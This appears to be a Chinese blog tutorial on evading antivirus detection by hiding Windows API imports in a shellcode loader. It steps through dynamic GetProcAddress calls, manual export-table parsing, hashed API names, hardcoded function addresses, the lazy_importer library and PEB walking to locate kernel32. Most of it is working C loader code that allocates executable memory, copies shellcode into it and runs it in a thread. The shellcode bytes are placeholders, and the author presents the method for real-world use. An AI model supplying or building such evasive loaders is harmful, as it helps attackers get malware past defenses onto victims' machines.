前言
去年就看过倾旋大佬的免杀系列,当时没有win 32基础和pe知识,看起来非常的吃力。趁着寒假学习了一波,终于可以写下本篇。
敏感api调用
在windows pe中,存在导入表,记录了使用了那些模块,模块中又使用了那些api。如果一个木马使用了CreateThread,VirtualAlloc等等api。杀软会进行高度重视。
编译倾旋大佬的代码,使用StudyPE查看导入表如下
可看到存在VirtualAlloc,VirtualProtect等等敏感api。我们的目标要将它隐藏起来。
自定义api函数
运行下面代码将弹框
#include<stdio.h>
#include<Windows.h>
int main()
{
MessageBox(0,0,0,0);
return 0;
}
查看导入表,MessageBoxA在USER32.dll里面
现在我们要自定义MessageBox函数,并成功运行起来
思路是先获取到USER32.dll里面的MessageBoxA的函数地址。然后自
定义一个MyMessageBox winapi函数。函数的结构必须和微软给出MessageBox一致。之后调用MyMessageBox即可
而要获取dll中的函数地址要用到GetProcAddress
FARPROC GetProcAddress(
HMODULE hModule, // 函数或变量的DLL模块的句柄 可用GetModuleHandle或LoadLibrary获取
LPCSTR lpProcName // 函数或变量名
); // 成功返回函数或变量地址
继续看GetModuleHandle和LoadLibrary
HMODULE GetModuleHandleA(
LPCSTR lpModuleName // 模块名称
); // 成功返回句柄 失败返回NULL
HMODULE LoadLibraryA(
LPCSTR lpLibFileName // 一个dll文件
); // 成功返回句柄 失败返回NULL
示例代码
#include<stdio.h>
#include<Windows.h>
// 定义函数指针
typedef int(WINAPI * pMessageBoxW)(
HWND hWnd,
LPCTSTR lpText,
LPCTSTR lpCaption,
UINT uType
);
int main()
{
// 获取MessageBox函数地址
pMessageBoxW MyMessageBox = (pMessageBoxW)GetProcAddress(LoadLibrary("USER32.dll"),"MessageBoxA");
// 调用
MyMessageBox(0,0,0,0);
return 0;
}
运行后弹框
再次查看导入表,成功隐藏了MessageBox,并且USER32.dll也没有了
示例代码
按照上面的思路,可以将恶意代码进行处理
#include <Windows.h>
#include <stdio.h>
typedef LPVOID(WINAPI *pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef HANDLE(WINAPI *pCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
typedef DWORD(WINAPI *pWaitForSingleObject)(
HANDLE hHandle,
DWORD dwMilliseconds
);
FARPROC GetAddress(LPCSTR lpModuleName, LPCSTR lpProcName)
{
return GetProcAddress(GetModuleHandle(lpModuleName), lpProcName);
}
int main()
{
// shellcode
unsigned char shellcode[] = "\x64\x8B\x35";
// 获取大小
int size = sizeof(shellcode);
// 1.开辟内存空间
pVirtualAlloc myVirtualAlloc = (pVirtualAlloc)GetAddress("kernel32.dll", "VirtualAlloc");
LPVOID lpAddress = myVirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
if (lpAddress)
{
// 2.复制shellcode
CopyMemory(lpAddress, shellcode, size);
// 3.执行shellcode
pCreateThread myCreateThread = (pCreateThread)GetAddress("kernel32.dll", "CreateThread");
HANDLE hThread = myCreateThread(NULL, 0, lpAddress, NULL, 0, NULL);
if (hThread)
{
pWaitForSingleObject myWaitForSingleObject = (pWaitForSingleObject)GetAddress("kernel32.dll", "WaitForSingleObject");
myWaitForSingleObject(hThread, INFINITE);
}
}
return 0;
}
深入隐藏
再次查看导入表,虽然没了VirtualAlloc,CreateThread等等函数。但存在GetModuleHandle 和 GetProcAddress
这两个函数也是杀软要关注的,而GetProcAddress底层就是解析导出表。接下来我们自己解析kernel32.dll导出表中的内容
#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <string.h>
int main()
{
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
if (!hKernel32) return 0;
// 使用GetProcAddress得到的VirtualAlloc地址
DWORD virtualAllocAddress = (DWORD)GetProcAddress(hKernel32, "VirtualAlloc");
printf("GetProcAddress = %x\n", virtualAllocAddress);
// 解析PE
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader);
// 导出表
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
// 解析导出表
for (DWORD i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
// 获取VirtualAlloc
if (strcmp(pFunctionName, "VirtualAlloc") == 0)
{
// 自己解析得到的VirtualAlloc地址
DWORD myVirtualAllocAddress = (DWORD)((PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
printf("PE VirtualAllocAddress = %x\n", myVirtualAllocAddress);
break;
}
}
}
运行结果,每台电脑的都不一样
GetProcAddress = 741b6890
PE VirtualAllocAddress = 741b6890
成功手动实现了GetProcAddress功能
然而上述的代码中第31行,还是出现了VirtualAlloc字符。可以使用简单的hash加密进行替换。
加密
#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <string.h>
unsigned int hash(const char* str)
{
unsigned int hash = 7759; // 可替换这里的密钥
int c;
while (c = *str++)
hash = ((hash << 5) + hash) + c;
return hash;
}
int main()
{
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
if (!hKernel32) return 0;
// 解析PE
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader);
// 导出表
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
// 解析导出表
for (DWORD i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
// 获取VirtualAlloc
if (strcmp(pFunctionName, "VirtualAlloc") == 0)
{
// 加密VirtualAlloc后的结果
printf("hash VirtualAlloc %x", hash(pFunctionName));
break;
}
}
}
运行结果
hash VirtualAlloc 80fa57e1
得到加密后的VirtualAlloc为80fa57e1
,38行换成if (hash(pFunctionName) == 0x80fa57e1)
,即可避免VirtualAlloc出现。
示例代码
#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <string.h>
typedef LPVOID(WINAPI* pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef HANDLE(WINAPI* pCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
typedef DWORD(WINAPI* pWaitForSingleObject)(
HANDLE hHandle,
DWORD dwMilliseconds
);
unsigned int hash(const char* str)
{
unsigned int hash = 7759; // 可替换这里的密钥
int c;
while (c = *str++)
hash = ((hash << 5) + hash) + c;
return hash;
}
int main()
{
pVirtualAlloc myVirtualAlloc = NULL;
pCreateThread myCreateThread = NULL;
pWaitForSingleObject myWaitForSingleObject = NULL;
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
if (!hKernel32) return 0;
// 解析PE
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader);
// 导出表
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
// 解析导出表
for (DWORD i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
PVOID pFunctionAddress = (PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]];
// VirtualAlloc
if (hash(pFunctionName) == 0x80fa57e1)
{
myVirtualAlloc = (pVirtualAlloc)pFunctionAddress;
}
// CreateThread
if (hash(pFunctionName) == 0xc7d73c9b)
{
myCreateThread = (pCreateThread)pFunctionAddress;
}
// WaitForSingleObject
if (hash(pFunctionName) == 0x50c272c4)
{
myWaitForSingleObject = (pWaitForSingleObject)pFunctionAddress;
}
}
unsigned char shellcode[] = "\x55\x64\x8B\x35";
if (!myVirtualAlloc || !myCreateThread || !myWaitForSingleObject)
{
return 0;
}
LPVOID lpAddress = myVirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CopyMemory(lpAddress, shellcode, sizeof shellcode);
HANDLE hThread = myCreateThread(NULL, 0, lpAddress, NULL, 0, NULL);
myWaitForSingleObject(hThread, INFINITE);
}
导入表已经没有GetProcAddress
了,但还是存在GetModuleHandle
,解决办法是使用PEB。本人太菜没学过,就不写了
后记
后面想了想,其实还有一种简单又笨的办法。就是先在目标机上获取到VirtualAlloc
,CreateThread
,WaitForSingleObject
函数的地址。然后直接赋值加载即可
// 使用GetProcAddress得到的VirtualAlloc地址
DWORD virtualAllocAddress = (DWORD)GetProcAddress(hKernel32, "VirtualAlloc");
printf("VirtualAlloc = %x\n", virtualAllocAddress);
运行结果
VirtualAlloc = 74BC6890
拿到上面的地址后,直接进行赋值加载函数地址
#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <string.h>
typedef LPVOID(WINAPI* pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef HANDLE(WINAPI* pCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
typedef DWORD(WINAPI* pWaitForSingleObject)(
HANDLE hHandle,
DWORD dwMilliseconds
);
int main()
{
pVirtualAlloc myVirtualAlloc = (pVirtualAlloc)(0x74BC6890);
pCreateThread myCreateThread = (pCreateThread)(0x74BC45D0);
pWaitForSingleObject myWaitForSingleObject = (pWaitForSingleObject)(0x74C1DE30);
unsigned char shellcode[] = "\x58\x55";
LPVOID lpAddress = myVirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CopyMemory(lpAddress, shellcode, sizeof shellcode);
HANDLE hThread = myCreateThread(NULL, 0, lpAddress, NULL, 0, NULL);
myWaitForSingleObject(hThread, INFINITE);
}
过几天后,找到了了别人写好的lazy_importer,用法非常简单,include
lazy_importer.hpp后,然后把原来函数
改成LI_FN(原来函数)
就行,NULL
改成nullptr
即可。
#include <windows.h>
#include <stdio.h>
#include "lazy_importer.hpp"
int main()
{
unsigned char shellcode[] = "\x25\x22";
int size = sizeof(shellcode);
LPVOID lpAddress = LI_FN(VirtualAlloc)(nullptr, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(lpAddress, shellcode, size);
(*(void (*)())lpAddress)();
}
不过我查看导入表,还是有GetModuleHandle
函数,暂时先这样吧。
更新
学完peb了,继续写上次没写完的。原理是遍历peb->LDR_DATA_TABLE_ENTRY->BaseDllName。如果BaseDllName值=KERNEL32.DLL。就可以从LDR_DATA_TABLE_ENTRY->DllBase,拿到KERNEL32.DLL的基址
完美支持x32/x64的shellcode
#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <string.h>
// 定义peb结构
//https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html#l00063
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
BOOLEAN ShutdownInProgress;
HANDLE ShutdownThreadId;
}PEB_LDR_DATA, * PPEB_LDR_DATA;
//https://processhacker.sourceforge.io/doc/ntpebteb_8h_source.html#l00008
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN SpareBits : 1;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PEB_LDR_DATA* Ldr;
//...
} PEB, * PPEB;
typedef struct
{
USHORT Length;
USHORT MaximumLength;
PWCH Buffer;
}UNICODE_STRING;
//https://processhacker.sourceforge.io/doc/ntldr_8h_source.html#l00102
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
union
{
LIST_ENTRY InInitializationOrderLinks;
LIST_ENTRY InProgressLinks;
};
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
//...
}LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
// 定义peb结构
typedef LPVOID(WINAPI* pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef HANDLE(WINAPI* pCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
typedef DWORD(WINAPI* pWaitForSingleObject)(
HANDLE hHandle,
DWORD dwMilliseconds
);
unsigned int hash(const char* str)
{
unsigned int hash = 7759; // 可替换这里的密钥
int c;
while (c = *str++)
hash = ((hash << 5) + hash) + c;
return hash;
}
int main()
{
pVirtualAlloc myVirtualAlloc = NULL;
pCreateThread myCreateThread = NULL;
pWaitForSingleObject myWaitForSingleObject = NULL;
PEB* peb = NULL;
#ifdef _WIN64
// 64位 gs:[0x60]
peb = (PEB*)__readgsqword(0x60);
#else
// 32位fs:[0x30]
peb = (PEB*)__readfsdword(0x30);
#endif // WIN64
PEB_LDR_DATA* ldr = peb->Ldr;
// 头指针
LIST_ENTRY* moduleList = &ldr->InMemoryOrderModuleList;
// 头结点
LIST_ENTRY* list = moduleList->Flink;
PVOID hKernel32 = NULL;
while (list != moduleList)
{
LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)list - sizeof(LIST_ENTRY));
// 获取KERNEL32.DLL基址
if (lstrcmpiW(pEntry->BaseDllName.Buffer, L"KERNEL32.DLL") == 0)
{
hKernel32 = pEntry->DllBase;
break;
}
list = list->Flink;
}
if (!hKernel32) return;
// 解析PE
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader);
// 导出表
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
// 解析导出表
for (DWORD i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
PVOID pFunctionAddress = (PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]];
// VirtualAlloc
if (hash(pFunctionName) == 0x80fa57e1)
{
myVirtualAlloc = (pVirtualAlloc)pFunctionAddress;
}
// CreateThread
if (hash(pFunctionName) == 0xc7d73c9b)
{
myCreateThread = (pCreateThread)pFunctionAddress;
}
// WaitForSingleObject
if (hash(pFunctionName) == 0x50c272c4)
{
myWaitForSingleObject = (pWaitForSingleObject)pFunctionAddress;
}
}
unsigned char shellcode[] = "\xfc\x12";
if (!myVirtualAlloc || !myCreateThread || !myWaitForSingleObject)
{
return 0;
}
LPVOID lpAddress = myVirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CopyMemory(lpAddress, shellcode, sizeof shellcode);
HANDLE hThread = myCreateThread(NULL, 0, lpAddress, NULL, 0, NULL);
myWaitForSingleObject(hThread, INFINITE);
}
而lazy_importer的源码,也用到了peb,实战的时候还是用lazy_importer吧,节省时间。
参考链接
静态恶意代码逃逸(第七课)
动态调用无导入表编译
Malware development part 4 - anti static analysis tricks
PEB结构:获取模块kernel32基址技术及原理分析